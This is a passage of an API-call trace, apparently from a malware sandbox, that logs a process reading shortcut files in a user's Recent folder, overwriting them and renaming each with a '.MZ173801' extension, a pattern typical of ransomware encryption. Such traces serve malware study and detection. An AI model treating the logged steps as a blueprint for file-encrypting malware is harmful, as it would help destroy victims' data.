HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I2Gqc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i2gqc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I2Gqc.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i2gqc.lnk.mz173801")) returned 1 [0121.403] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1a7060, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1a7060, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1a7060, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20bf, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="iBRwwdAH7kup1D_A.lnk", cAlternateFileName="IBRWWD~1.LNK")) returned 1 [0121.403] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.403] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iBRwwdAH7kup1D_A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ibrwwdah7kup1d_a.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1a7060, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1a7060, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1a7060, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x20bf)) returned 1 [0121.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.407] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iBRwwdAH7kup1D_A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ibrwwdah7kup1d_a.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.407] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.407] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.407] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x20bf [0121.407] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.407] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x20bf, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x20bf, lpOverlapped=0x0) returned 1 [0121.408] CloseHandle (hObject=0x288) returned 1 [0121.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iBRwwdAH7kup1D_A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ibrwwdah7kup1d_a.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.410] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x20bf, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x20bf, lpOverlapped=0x0) returned 1 [0121.411] CloseHandle (hObject=0x288) returned 1 [0121.414] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iBRwwdAH7kup1D_A.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ibrwwdah7kup1d_a.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iBRwwdAH7kup1D_A.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ibrwwdah7kup1d_a.lnk.mz173801")) returned 1 [0121.415] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde632680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde632680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde632680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xea4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="IkmZeMY2n.lnk", cAlternateFileName="IKMZEM~1.LNK")) returned 1 [0121.415] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.415] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.415] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IkmZeMY2n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ikmzemy2n.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde632680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde632680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde632680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xea4)) returned 1 [0121.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.417] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IkmZeMY2n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ikmzemy2n.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.419] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.419] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.419] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xea4 [0121.419] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.419] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xea4, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xea4, lpOverlapped=0x0) returned 1 [0121.420] CloseHandle (hObject=0x288) returned 1 [0121.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IkmZeMY2n.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ikmzemy2n.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 